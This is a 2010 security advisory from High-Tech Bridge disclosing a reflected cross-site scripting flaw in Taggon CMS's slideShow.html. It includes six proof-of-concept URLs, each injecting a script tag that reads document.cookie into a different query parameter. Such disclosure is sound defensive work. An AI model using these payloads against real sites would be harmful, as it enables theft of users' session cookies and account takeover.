XSS vulnerability in Taggon CMS

Vulnerability ID: HTB22477
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_taggon_cms.html
Product: Taggon CMS
Vendor: Onison ( http://www.onison.com/articles/3 )
Vulnerable Version: Current at 01.07.2010 and Probably Prior Versions
Vendor Notification: 01 July 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "slideShow.html" script to properly sanitize user-supplied input in many variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1&pic=1&slideShowMode=1&external=1&&category=_u1234567_inbox%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1&pic=1&slideShowMode=1&external=1%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&category=_u1234567_inbox

http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1&pic=1&slideShowMode=1%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&external=1&category=_u1234567_inbox

http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1&pic=1%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&slideShowMode=1&external=1&category=_u1234567_inbox

http://host/slideShow.html?company=COMPANY&userid=USER&CurrentSlide=1%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&pic=1&slideShowMode=1&external=1&category=_u1234567_inbox

http://host/slideShow.html?company=COMPANY%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&userid=USER&CurrentSlide=1&pic=1&slideShowMode=1&external=1&category=_u1234567_inbox